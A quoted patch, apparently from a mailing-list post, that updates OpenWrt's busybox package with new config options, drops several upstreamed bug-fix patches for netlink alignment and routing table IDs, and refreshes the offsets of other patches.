> +	default BUSYBOX_DEFAULT_UEVENT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  uevent is a netlink listener for kernel uevent notifications
> +	  sent via netlink. It is usually used for dynamic device creation.
>   config BUSYBOX_CONFIG_UMOUNT
>   	bool "umount"
>   	default BUSYBOX_DEFAULT_UMOUNT
> @@ -768,6 +761,13 @@ config BUSYBOX_CONFIG_FEATURE_UMOUNT_ALL
>   	depends on BUSYBOX_CONFIG_UMOUNT
>   	help
>   	  Support -a option to unmount all currently mounted filesystems.
> +config BUSYBOX_CONFIG_UNSHARE
> +	bool "unshare"
> +	default BUSYBOX_DEFAULT_UNSHARE
> +	depends on BUSYBOX_CONFIG_LONG_OPTS && !BUSYBOX_CONFIG_NOMMU
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Run program with some namespaces unshared from parent.
>   
>   comment "Common options for mount/umount"
>   	depends on BUSYBOX_CONFIG_MOUNT || BUSYBOX_CONFIG_UMOUNT
> diff --git a/package/utils/busybox/config/util-linux/volume_id/Config.in b/package/utils/busybox/config/util-linux/volume_id/Config.in
> index 6153314..49a5785 100644
> --- a/package/utils/busybox/config/util-linux/volume_id/Config.in
> +++ b/package/utils/busybox/config/util-linux/volume_id/Config.in
> @@ -189,6 +189,15 @@ config BUSYBOX_CONFIG_FEATURE_VOLUMEID_SYSV
>   	  TODO
>   
>   
> +config BUSYBOX_CONFIG_FEATURE_VOLUMEID_UBIFS
> +	bool "UBIFS filesystem"
> +	default BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UBIFS
> +	depends on BUSYBOX_CONFIG_VOLUMEID
> +	help
> +	  UBIFS (Unsorted Block Image File System) is a file
> +	  system for use with raw flash memory media.
> +
> +
>   config BUSYBOX_CONFIG_FEATURE_VOLUMEID_UDF
>   	bool "udf filesystem"
>   	default BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
> diff --git a/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch b/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
> deleted file mode 100644
> index f33c3b2..0000000
> --- a/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
> +++ /dev/null
> @@ -1,37 +0,0 @@
> -From 7cef4817d6d6d61a1166ed7dfc13537b95c65970 Mon Sep 17 00:00:00 2001
> -From: Denys Vlasenko <vda.linux at googlemail.com>
> -Date: Thu, 15 Sep 2016 13:20:51 +0200
> -Subject: [PATCH] libbb:/send_to_from: do not require that "to" should have the
> - same AF. Closes 9146
> -
> -Signed-off-by: Denys Vlasenko <vda.linux at googlemail.com>
> ----
> - libbb/udp_io.c | 10 ++++++++--
> - 1 file changed, 8 insertions(+), 2 deletions(-)
> -
> ---- a/libbb/udp_io.c
> -+++ b/libbb/udp_io.c
> -@@ -70,7 +70,13 @@ send_to_from(int fd, void *buf, size_t l
> - 	msg.msg_flags = flags;
> -
> - 	cmsgptr = CMSG_FIRSTHDR(&msg);
> --	if (to->sa_family == AF_INET && from->sa_family == AF_INET) {
> -+	/*
> -+	 * Users report that to->sa_family can be AF_INET6 too,
> -+	 * if "to" was acquired by recv_from_to(). IOW: recv_from_to()
> -+	 * was seen showing IPv6 "from" even when the destination
> -+	 * of received packet (our local address) was IPv4.
> -+	 */
> -+	if (/* to->sa_family == AF_INET && */ from->sa_family == AF_INET) {
> - 		struct in_pktinfo *pktptr;
> - 		cmsgptr->cmsg_level = IPPROTO_IP;
> - 		cmsgptr->cmsg_type = IP_PKTINFO;
> -@@ -86,7 +92,7 @@ send_to_from(int fd, void *buf, size_t l
> - 		pktptr->ipi_spec_dst = ((struct sockaddr_in*)from)->sin_addr;
> - 	}
> - # if ENABLE_FEATURE_IPV6 && defined(IPV6_PKTINFO)
> --	else if (to->sa_family == AF_INET6 && from->sa_family == AF_INET6) {
> -+	else if (/* to->sa_family == AF_INET6 && */ from->sa_family == AF_INET6) {
> - 		struct in6_pktinfo *pktptr;
> - 		cmsgptr->cmsg_level = IPPROTO_IPV6;
> - 		cmsgptr->cmsg_type = IPV6_PKTINFO;
> diff --git a/package/utils/busybox/patches/102-trylink_mktemp_fix.patch b/package/utils/busybox/patches/102-trylink_mktemp_fix.patch
> deleted file mode 100644
> index ed1dcbb..0000000
> --- a/package/utils/busybox/patches/102-trylink_mktemp_fix.patch
> +++ /dev/null
> @@ -1,20 +0,0 @@
> ---- a/scripts/trylink
> -+++ b/scripts/trylink
> -@@ -46,7 +46,7 @@ try() {
> - }
> -
> - check_cc() {
> --    local tempname="$(mktemp)"
> -+    local tempname="$(mktemp /tmp/tmp.XXXXXXXXXX)"
> -     local r
> -     echo "int main(int argc,char**argv){return argv?argc:0;}" >"$tempname".c
> -     # Can use "-o /dev/null", but older gcc tend to *unlink it* on failure! :(
> -@@ -61,7 +61,7 @@ check_cc() {
> - }
> -
> - check_libc_is_glibc() {
> --    local tempname="$(mktemp)"
> -+    local tempname="$(mktemp /tmp/tmp.XXXXXXXXXX)"
> -     local r
> -     echo "\
> - 	#include <stdlib.h>
> diff --git a/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch b/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
> index 4825bc8..682a68e 100644
> --- a/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
> +++ b/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
> @@ -1,6 +1,6 @@
>   --- a/util-linux/mount.c
>   +++ b/util-linux/mount.c
> -@@ -237,9 +237,6 @@
> +@@ -245,9 +245,6 @@
>    #if ENABLE_FEATURE_MOUNT_NFS
>    /* This is just a warning of a common mistake.  Possibly this should be a
>     * uclibc faq entry rather than in busybox... */
> diff --git a/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch b/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
> index 0fdaed5..8ef8f22 100644
> --- a/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
> +++ b/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
> @@ -1,6 +1,6 @@
>   --- a/networking/udhcp/dhcpc.c
>   +++ b/networking/udhcp/dhcpc.c
> -@@ -697,6 +697,7 @@ static int bcast_or_ucast(struct dhcp_pa
> +@@ -704,6 +704,7 @@ static int bcast_or_ucast(struct dhcp_pa
>    static NOINLINE int send_discover(uint32_t xid, uint32_t requested)
>    {
>    	struct dhcp_packet packet;
> @@ -8,7 +8,7 @@
>    
>    	/* Fill in: op, htype, hlen, cookie, chaddr fields,
>    	 * random xid field (we override it below),
> -@@ -714,6 +715,7 @@ static NOINLINE int send_discover(uint32
> +@@ -721,6 +722,7 @@ static NOINLINE int send_discover(uint32
>    	 */
>    	add_client_options(&packet);
>    
> diff --git a/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch b/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
> index 4a9ae98..f5e3a07 100644
> --- a/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
> +++ b/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
> @@ -1,6 +1,6 @@
>   --- a/networking/udhcp/dhcpc.c
>   +++ b/networking/udhcp/dhcpc.c
> -@@ -1422,6 +1422,12 @@ int udhcpc_main(int argc UNUSED_PARAM, c
> +@@ -1439,6 +1439,12 @@ int udhcpc_main(int argc UNUSED_PARAM, c
>    		/* silence "uninitialized!" warning */
>    		unsigned timestamp_before_wait = timestamp_before_wait;
>    
> diff --git a/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch b/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
> index 1e44552..3df8d93 100644
> --- a/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
> +++ b/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
> @@ -1,6 +1,6 @@
>   --- a/networking/udhcp/dhcpc.c
>   +++ b/networking/udhcp/dhcpc.c
> -@@ -1103,7 +1103,6 @@ static void perform_renew(void)
> +@@ -1110,7 +1110,6 @@ static void perform_renew(void)
>    		state = RENEW_REQUESTED;
>    		break;
>    	case RENEW_REQUESTED: /* impatient are we? fine, square 1 */
> diff --git a/package/utils/busybox/patches/240-telnetd_intr.patch b/package/utils/busybox/patches/240-telnetd_intr.patch
> index d52ea3f..fec2a3a 100644
> --- a/package/utils/busybox/patches/240-telnetd_intr.patch
> +++ b/package/utils/busybox/patches/240-telnetd_intr.patch
> @@ -1,6 +1,6 @@
>   --- a/networking/telnetd.c
>   +++ b/networking/telnetd.c
> -@@ -333,6 +333,7 @@ make_new_session(
> +@@ -497,6 +497,7 @@ make_new_session(
>    
>    	/* Restore default signal handling ASAP */
>    	bb_signals((1 << SIGCHLD) + (1 << SIGPIPE), SIG_DFL);
> diff --git a/package/utils/busybox/patches/250-date-k-flag.patch b/package/utils/busybox/patches/250-date-k-flag.patch
> index b2681a1..476440f 100644
> --- a/package/utils/busybox/patches/250-date-k-flag.patch
> +++ b/package/utils/busybox/patches/250-date-k-flag.patch
> @@ -1,6 +1,6 @@
>   --- a/coreutils/date.c
>   +++ b/coreutils/date.c
> -@@ -123,6 +123,7 @@
> +@@ -122,6 +122,7 @@
>    //usage:	IF_FEATURE_DATE_ISOFMT(
>    //usage:     "\n	-D FMT		Use FMT for -d TIME conversion"
>    //usage:	)
> @@ -8,7 +8,7 @@
>    //usage:     "\n"
>    //usage:     "\nRecognized TIME formats:"
>    //usage:     "\n	hh:mm[:ss]"
> -@@ -139,9 +140,8 @@
> +@@ -138,9 +139,8 @@
>    
>    #include "libbb.h"
>    #include "common_bufsiz.h"
> @@ -20,7 +20,7 @@
>    
>    enum {
>    	OPT_RFC2822   = (1 << 0), /* R */
> -@@ -149,8 +149,9 @@ enum {
> +@@ -148,8 +148,9 @@ enum {
>    	OPT_UTC       = (1 << 2), /* u */
>    	OPT_DATE      = (1 << 3), /* d */
>    	OPT_REFERENCE = (1 << 4), /* r */
> @@ -32,7 +32,7 @@
>    };
>    
>    static void maybe_set_utc(int opt)
> -@@ -168,12 +169,15 @@ static const char date_longopts[] ALIGN1
> +@@ -167,12 +168,15 @@ static const char date_longopts[] ALIGN1
>    	/*	"universal\0" No_argument       "u" */
>    		"date\0"      Required_argument "d"
>    		"reference\0" Required_argument "r"
> @@ -48,7 +48,7 @@
>    	struct timespec ts;
>    	struct tm tm_time;
>    	char buf_fmt_dt2str[64];
> -@@ -188,7 +192,7 @@ int date_main(int argc UNUSED_PARAM, cha
> +@@ -187,7 +191,7 @@ int date_main(int argc UNUSED_PARAM, cha
>    	opt_complementary = "d--s:s--d"
>    		IF_FEATURE_DATE_ISOFMT(":R--I:I--R");
>    	IF_LONG_OPTS(applet_long_options = date_longopts;)
> @@ -57,7 +57,7 @@
>    			IF_FEATURE_DATE_ISOFMT("I::D:"),
>    			&date_str, &date_str, &filename
>    			IF_FEATURE_DATE_ISOFMT(, &isofmt_arg, &fmt_str2dt));
> -@@ -245,6 +249,31 @@ int date_main(int argc UNUSED_PARAM, cha
> +@@ -244,6 +248,31 @@ int date_main(int argc UNUSED_PARAM, cha
>    	if (*argv)
>    		bb_show_usage();
>    
> diff --git a/package/utils/busybox/patches/302-netlink-alignment.patch b/package/utils/busybox/patches/302-netlink-alignment.patch
> deleted file mode 100644
> index 4cd25b1..0000000
> --- a/package/utils/busybox/patches/302-netlink-alignment.patch
> +++ /dev/null
> @@ -1,100 +0,0 @@
> -From a843f09a4d4428cf11ca02307e60058251b05743 Mon Sep 17 00:00:00 2001
> -From: Hauke Mehrtens <hauke at hauke-m.de>
> -Date: Fri, 16 Sep 2016 21:52:03 +0200
> -Subject: [PATCH] libnetlink: fix alignment of netlink messages
> -
> -An padding to align a message should not only be added between
> -different attributes of a netlink message, but also at the end of the
> -message to pad it to the correct size.
> -
> -Without this patch the following command does not work and returns an
> -error code:
> -ip link add type nlmon
> -
> -Without this ip from busybox sends this:
> -sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=45, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1474057401, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon"}, iov_len=45}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 45
> -return value: 2
> -
> -The normal ip utile from iproute2 sends this:
> -sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=48, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1473716938, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon\0\0\0"}, iov_len=48}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 48
> -return value: 0
> -
> -With this patch ip from busybox sends this:
> -sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=48, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1473716908, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon\0\0\0"}, iov_len=48}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 48
> -return value: 0
> -
> -Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
> ----
> - networking/libiproute/libnetlink.c | 16 ++++++++--------
> - 1 file changed, 8 insertions(+), 8 deletions(-)
> -
> ---- a/networking/libiproute/libnetlink.c
> -+++ b/networking/libiproute/libnetlink.c
> -@@ -338,14 +338,14 @@ int FAST_FUNC addattr32(struct nlmsghdr
> - 	int len = RTA_LENGTH(4);
> - 	struct rtattr *rta;
> -
> --	if ((int)(NLMSG_ALIGN(n->nlmsg_len) + len) > maxlen) {
> -+	if ((int)(NLMSG_ALIGN(n->nlmsg_len + len)) > maxlen) {
> - 		return -1;
> - 	}
> - 	rta = (struct rtattr*)(((char*)n) + NLMSG_ALIGN(n->nlmsg_len));
> - 	rta->rta_type = type;
> - 	rta->rta_len = len;
> - 	move_to_unaligned32(RTA_DATA(rta), data);
> --	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + len;
> -+	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len + len);
> - 	return 0;
> - }
> -
> -@@ -354,14 +354,14 @@ int FAST_FUNC addattr_l(struct nlmsghdr
> - 	int len = RTA_LENGTH(alen);
> - 	struct rtattr *rta;
> -
> --	if ((int)(NLMSG_ALIGN(n->nlmsg_len) + len) > maxlen) {
> -+	if ((int)(NLMSG_ALIGN(n->nlmsg_len + len)) > maxlen) {
> - 		return -1;
> - 	}
> - 	rta = (struct rtattr*)(((char*)n) + NLMSG_ALIGN(n->nlmsg_len));
> - 	rta->rta_type = type;
> - 	rta->rta_len = len;
> - 	memcpy(RTA_DATA(rta), data, alen);
> --	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + len;
> -+	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len + len);
> - 	return 0;
> - }
> -
> -@@ -370,14 +370,14 @@ int FAST_FUNC rta_addattr32(struct rtatt
> - 	int len = RTA_LENGTH(4);
> - 	struct rtattr *subrta;
> -
> --	if (RTA_ALIGN(rta->rta_len) + len > maxlen) {
> -+	if (RTA_ALIGN(rta->rta_len + len) > maxlen) {
> - 		return -1;
> - 	}
> - 	subrta = (struct rtattr*)(((char*)rta) + RTA_ALIGN(rta->rta_len));
> - 	subrta->rta_type = type;
> - 	subrta->rta_len = len;
> - 	move_to_unaligned32(RTA_DATA(subrta), data);
> --	rta->rta_len = NLMSG_ALIGN(rta->rta_len) + len;
> -+	rta->rta_len = NLMSG_ALIGN(rta->rta_len + len);
> - 	return 0;
> - }
> -
> -@@ -386,14 +386,14 @@ int FAST_FUNC rta_addattr_l(struct rtatt
> - 	struct rtattr *subrta;
> - 	int len = RTA_LENGTH(alen);
> -
> --	if (RTA_ALIGN(rta->rta_len) + len > maxlen) {
> -+	if (RTA_ALIGN(rta->rta_len + len) > maxlen) {
> - 		return -1;
> - 	}
> - 	subrta = (struct rtattr*)(((char*)rta) + RTA_ALIGN(rta->rta_len));
> - 	subrta->rta_type = type;
> - 	subrta->rta_len = len;
> - 	memcpy(RTA_DATA(subrta), data, alen);
> --	rta->rta_len = NLMSG_ALIGN(rta->rta_len) + len;
> -+	rta->rta_len = NLMSG_ALIGN(rta->rta_len + len);
> - 	return 0;
> - }
> -
> diff --git a/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch b/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch
> deleted file mode 100644
> index d7a38f6..0000000
> --- a/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch
> +++ /dev/null
> @@ -1,486 +0,0 @@
> -From 485fcc89b99eae9cc7501eaff344b104e52ab7bf Mon Sep 17 00:00:00 2001
> -From: Jo-Philipp Wich <jo at mein.io>
> -Date: Mon, 26 Sep 2016 17:48:22 +0200
> -Subject: [PATCH] iproute: properly support high routing table IDs
> -
> -The Linux kernel uses two distinct fields to denote the routing table ID in
> -use by network routes; the 8 bit `rtm_table` member of `struct rtmsg` and the
> -32 bit `RTA_TABLE` netlink attribute.
> -
> -If a routing table ID is larger than 255, the `RT_TABLE` attribute must be used
> -and the `rtm_table` field has to be set to the special `RT_TABLE_UNSPEC` value.
> -
> -This commit ...
> - - switches the *_n2a() and *_a2n() functions of rt_names.c to use dynamically
> -   sized, name-sorted arrays instead of fixed arrays limited to 1024 slots in
> -   order to support IDs up to 65535
> - - adds proper handling of high table IDs to iprule.c and iproute.c when
> -   adding, removing and dumping ip rules and network routes
> -
> -After this change, the Busybox ip applet fully supports IP rules with high ID
> -numbers, using the same logic as the full iproute2.
> -
> -Signed-off-by: Jo-Philipp Wich <jo at mein.io>
> ----
> - networking/libiproute/iproute.c  |  75 ++++++++------
> - networking/libiproute/iprule.c   |   4 +-
> - networking/libiproute/rt_names.c | 204 +++++++++++++++++++++++----------------
> - 3 files changed, 169 insertions(+), 114 deletions(-)
> -
> ---- a/networking/libiproute/iproute.c
> -+++ b/networking/libiproute/iproute.c
> -@@ -66,6 +66,7 @@ static int FAST_FUNC print_route(const s
> - 	inet_prefix dst;
> - 	inet_prefix src;
> - 	int host_len = -1;
> -+	uint32_t rtable;
> -
> - 	if (n->nlmsg_type != RTM_NEWROUTE && n->nlmsg_type != RTM_DELROUTE) {
> - 		fprintf(stderr, "Not a route: %08x %08x %08x\n",
> -@@ -83,34 +84,6 @@ static int FAST_FUNC print_route(const s
> - 	else if (r->rtm_family == AF_INET)
> - 		host_len = 32;
> -
> --	if (r->rtm_family == AF_INET6) {
> --		if (G_filter.tb) {
> --			if (G_filter.tb < 0) {
> --				if (!(r->rtm_flags & RTM_F_CLONED)) {
> --					return 0;
> --				}
> --			} else {
> --				if (r->rtm_flags & RTM_F_CLONED) {
> --					return 0;
> --				}
> --				if (G_filter.tb == RT_TABLE_LOCAL) {
> --					if (r->rtm_type != RTN_LOCAL) {
> --						return 0;
> --					}
> --				} else if (G_filter.tb == RT_TABLE_MAIN) {
> --					if (r->rtm_type == RTN_LOCAL) {
> --						return 0;
> --					}
> --				} else {
> --					return 0;
> --				}
> --			}
> --		}
> --	} else {
> --		if (G_filter.tb > 0 && G_filter.tb != r->rtm_table) {
> --			return 0;
> --		}
> --	}
> - 	if (G_filter.rdst.family
> - 	 && (r->rtm_family != G_filter.rdst.family || G_filter.rdst.bitlen > r->rtm_dst_len)
> - 	) {
> -@@ -141,6 +114,37 @@ static int FAST_FUNC print_route(const s
> - 	memset(&dst, 0, sizeof(dst));
> - 	parse_rtattr(tb, RTA_MAX, RTM_RTA(r), len);
> -
> -+	rtable = tb[RTA_TABLE] ? *(uint32_t*)RTA_DATA(tb[RTA_TABLE]) : r->rtm_table;
> -+
> -+	if (G_filter.tb) {
> -+		if (r->rtm_family == AF_INET6) {
> -+			if (G_filter.tb < 0) {
> -+				if (!(r->rtm_flags & RTM_F_CLONED)) {
> -+					return 0;
> -+				}
> -+			} else {
> -+				if (r->rtm_flags & RTM_F_CLONED) {
> -+					return 0;
> -+				}
> -+				if (G_filter.tb == RT_TABLE_LOCAL) {
> -+					if (r->rtm_type != RTN_LOCAL) {
> -+						return 0;
> -+					}
> -+				} else if (G_filter.tb == RT_TABLE_MAIN) {
> -+					if (r->rtm_type == RTN_LOCAL) {
> -+						return 0;
> -+					}
> -+				} else if (G_filter.tb != rtable) {
> -+					return 0;
> -+				}
> -+			}
> -+		} else {
> -+			if (G_filter.tb != rtable) {
> -+				return 0;
> -+			}
> -+		}
> -+	}
> -+
> - 	if (tb[RTA_SRC]) {
> - 		src.bitlen = r->rtm_src_len;
> - 		src.bytelen = (r->rtm_family == AF_INET6 ? 16 : 4);
> -@@ -349,7 +353,9 @@ IF_FEATURE_IP_RULE(ARG_table,)
> - 	smalluint ok = 0;
> - 	smalluint scope_ok = 0;
> - 	int arg;
> --
> -+#if ENABLE_FEATURE_IP_RULE
> -+	uint32_t rtable = 0;
> -+#endif
> - 	memset(&req, 0, sizeof(req));
> -
> - 	req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
> -@@ -419,7 +425,7 @@ IF_FEATURE_IP_RULE(ARG_table,)
> - 			NEXT_ARG();
> - 			if (rtnl_rttable_a2n(&tid, *argv))
> - 				invarg_1_to_2(*argv, "table");
> --			req.r.rtm_table = tid;
> -+			rtable = tid;
> - #endif
> - 		} else if (arg == ARG_dev || arg == ARG_oif) {
> - 			NEXT_ARG();
> -@@ -475,6 +481,15 @@ IF_FEATURE_IP_RULE(ARG_table,)
> - 		}
> - 	}
> -
> -+#if ENABLE_FEATURE_IP_RULE
> -+	if (rtable >= 256) {
> -+		addattr32(&req.n, sizeof(req), RTA_TABLE, rtable);
> -+		req.r.rtm_table = RT_TABLE_UNSPEC;
> -+	} else if (rtable > 0) {
> -+		req.r.rtm_table = rtable;
> -+	}
> -+#endif
> -+
> - 	if (mxrta->rta_len > RTA_LENGTH(0)) {
> - 		if (mxlock) {
> - 			rta_addattr32(mxrta, sizeof(mxbuf), RTAX_LOCK, mxlock);
> ---- a/networking/libiproute/iprule.c
> -+++ b/networking/libiproute/iprule.c
> -@@ -114,7 +114,9 @@ static int FAST_FUNC print_rule(const st
> - 		printf("iif %s ", (char*)RTA_DATA(tb[RTA_IIF]));
> - 	}
> -
> --	if (r->rtm_table)
> -+	if (tb[RTA_TABLE])
> -+		printf("lookup %s ", rtnl_rttable_n2a(*(uint32_t*)RTA_DATA(tb[RTA_TABLE])));
> -+	else if (r->rtm_table)
> - 		printf("lookup %s ", rtnl_rttable_n2a(r->rtm_table));
> -
> - 	if (tb[RTA_FLOW]) {
> ---- a/networking/libiproute/rt_names.c
> -+++ b/networking/libiproute/rt_names.c
> -@@ -11,21 +11,26 @@
> - #include "rt_names.h"
> -
> - #define CONFDIR          CONFIG_FEATURE_IP_ROUTE_DIR
> -+#define RT_TABLE_MAX	65535
> -+
> -+struct rtnl_tab_entry {
> -+	unsigned int id;
> -+	const char *name;
> -+};
> -
> - typedef struct rtnl_tab_t {
> --	const char *cached_str;
> --	unsigned cached_result;
> --	/* upstream version switched to a hash table and removed
> --	 * id < 256 limit. For now bbox bumps this array size from 256
> --	 * to 1024. If you plan to change this to a hash table,
> --	 * consider merging several hash tables we have (for example,
> --	 * awk has resizable one!
> --	 */
> --#define RT_TABLE_MAX 1023
> --	const char *tab[RT_TABLE_MAX+1];
> -+	struct rtnl_tab_entry *tab;
> -+	size_t length;
> - } rtnl_tab_t;
> -
> --static void rtnl_tab_initialize(const char *file, const char **tab)
> -+static int tabcmp(const void *p1, const void *p2)
> -+{
> -+	const struct rtnl_tab_entry *e1 = p1;
> -+	const struct rtnl_tab_entry *e2 = p2;
> -+	return strcmp(e1->name, e2->name);
> -+}
> -+
> -+static void rtnl_tab_initialize(const char *file, rtnl_tab_t *tab)
> - {
> - 	char *token[2];
> - 	char fullname[sizeof(CONFDIR"/rt_dsfield") + 8];
> -@@ -40,34 +45,42 @@ static void rtnl_tab_initialize(const ch
> - 				file, parser->lineno);
> - 			break;
> - 		}
> --		tab[id] = xstrdup(token[1]);
> -+
> -+		tab->tab = xrealloc(tab->tab, (tab->length + 1) * sizeof(*tab->tab));
> -+		tab->tab[tab->length].id = id;
> -+		tab->tab[tab->length].name = xstrdup(token[1]);
> -+		tab->length++;
> - 	}
> - 	config_close(parser);
> -+	qsort(tab->tab, tab->length, sizeof(*tab->tab), tabcmp);
> - }
> -
> - static int rtnl_a2n(rtnl_tab_t *tab, uint32_t *id, const char *arg, int base)
> - {
> --	unsigned i;
> --
> --	if (tab->cached_str && strcmp(tab->cached_str, arg) == 0) {
> --		*id = tab->cached_result;
> --		return 0;
> --	}
> -+	int delta;
> -+	ssize_t l = 0;
> -+	ssize_t r = tab->length - 1;
> -+	ssize_t m;
> -+	uint32_t i;
> -+
> -+	while (l <= r) {
> -+		m = l + (r - l) / 2;
> -+		delta = strcmp(tab->tab[m].name, arg);
> -
> --	for (i = 0; i <= RT_TABLE_MAX; i++) {
> --		if (tab->tab[i]
> --		 && strcmp(tab->tab[i], arg) == 0
> --		) {
> --			tab->cached_str = tab->tab[i];
> --			tab->cached_result = i;
> --			*id = i;
> -+		if (delta == 0) {
> -+			*id = tab->tab[m].id;
> - 			return 0;
> -+		} else if (delta < 0) {
> -+			l = m + 1;
> -+		} else {
> -+			r = m - 1;
> - 		}
> - 	}
> -
> - 	i = bb_strtou(arg, NULL, base);
> - 	if (i > RT_TABLE_MAX)
> - 		return -1;
> -+
> - 	*id = i;
> - 	return 0;
> - }
> -@@ -77,40 +90,39 @@ static rtnl_tab_t *rtnl_rtprot_tab;
> -
> - static void rtnl_rtprot_initialize(void)
> - {
> --	static const char *const init_tab[] = {
> --		"none",
> --		"redirect",
> --		"kernel",
> --		"boot",
> --		"static",
> --		NULL,
> --		NULL,
> --		NULL,
> --		"gated",
> --		"ra",
> --		"mrt",
> --		"zebra",
> --		"bird",
> -+	static const struct rtnl_tab_entry init_tab[] = {
> -+		{  0, "none"     },
> -+		{  1, "redirect" },
> -+		{  2, "kernel"   },
> -+		{  3, "boot"     },
> -+		{  4, "static"   },
> -+		{  8, "gated"    },
> -+		{  9, "ra"       },
> -+		{ 10, "mrt"      },
> -+		{ 11, "zebra"    },
> -+		{ 12, "bird"     }
> - 	};
> -
> - 	if (rtnl_rtprot_tab)
> - 		return;
> - 	rtnl_rtprot_tab = xzalloc(sizeof(*rtnl_rtprot_tab));
> -+	rtnl_rtprot_tab->tab = xzalloc(sizeof(init_tab));
> -+	rtnl_rtprot_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
> - 	memcpy(rtnl_rtprot_tab->tab, init_tab, sizeof(init_tab));
> --	rtnl_tab_initialize("protos", rtnl_rtprot_tab->tab);
> -+	rtnl_tab_initialize("protos", rtnl_rtprot_tab);
> - }
> -
> - #if 0 /* UNUSED */
> - const char* FAST_FUNC rtnl_rtprot_n2a(int id)
> - {
> --	if (id < 0 || id > RT_TABLE_MAX) {
> --		return itoa(id);
> --	}
> -+	size_t i;
> -
> - 	rtnl_rtprot_initialize();
> -
> --	if (rtnl_rtprot_tab->tab[id])
> --		return rtnl_rtprot_tab->tab[id];
> -+	for (i = 0; i < rtnl_rtprot_tab->length; i++)
> -+		if (rtnl_rtprot_tab->tab[i].id == id)
> -+			return rtnl_rtprot_tab->tab[i].name;
> -+
> - 	return itoa(id);
> - }
> - #endif
> -@@ -126,27 +138,33 @@ static rtnl_tab_t *rtnl_rtscope_tab;
> -
> - static void rtnl_rtscope_initialize(void)
> - {
> -+	static const struct rtnl_tab_entry init_tab[] = {
> -+		{   0, "global"  },
> -+		{ 200, "site"    },
> -+		{ 253, "link"    },
> -+		{ 254, "host"    },
> -+		{ 255, "nowhere" }
> -+	};
> -+
> - 	if (rtnl_rtscope_tab)
> - 		return;
> - 	rtnl_rtscope_tab = xzalloc(sizeof(*rtnl_rtscope_tab));
> --	rtnl_rtscope_tab->tab[0] = "global";
> --	rtnl_rtscope_tab->tab[255] = "nowhere";
> --	rtnl_rtscope_tab->tab[254] = "host";
> --	rtnl_rtscope_tab->tab[253] = "link";
> --	rtnl_rtscope_tab->tab[200] = "site";
> --	rtnl_tab_initialize("scopes", rtnl_rtscope_tab->tab);
> -+	rtnl_rtscope_tab->tab = xzalloc(sizeof(init_tab));
> -+	rtnl_rtscope_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
> -+	memcpy(rtnl_rtscope_tab->tab, init_tab, sizeof(init_tab));
> -+	rtnl_tab_initialize("scopes", rtnl_rtscope_tab);
> - }
> -
> - const char* FAST_FUNC rtnl_rtscope_n2a(int id)
> - {
> --	if (id < 0 || id > RT_TABLE_MAX) {
> --		return itoa(id);
> --	}
> -+	size_t i;
> -
> - 	rtnl_rtscope_initialize();
> -
> --	if (rtnl_rtscope_tab->tab[id])
> --		return rtnl_rtscope_tab->tab[id];
> -+	for (i = 0; i < rtnl_rtscope_tab->length; i++)
> -+		if (rtnl_rtscope_tab->tab[i].id == id)
> -+			return rtnl_rtscope_tab->tab[i].name;
> -+
> - 	return itoa(id);
> - }
> -
> -@@ -161,10 +179,17 @@ static rtnl_tab_t *rtnl_rtrealm_tab;
> -
> - static void rtnl_rtrealm_initialize(void)
> - {
> --	if (rtnl_rtrealm_tab) return;
> -+	static const struct rtnl_tab_entry init_tab[] = {
> -+		{ 0, "unknown" }
> -+	};
> -+
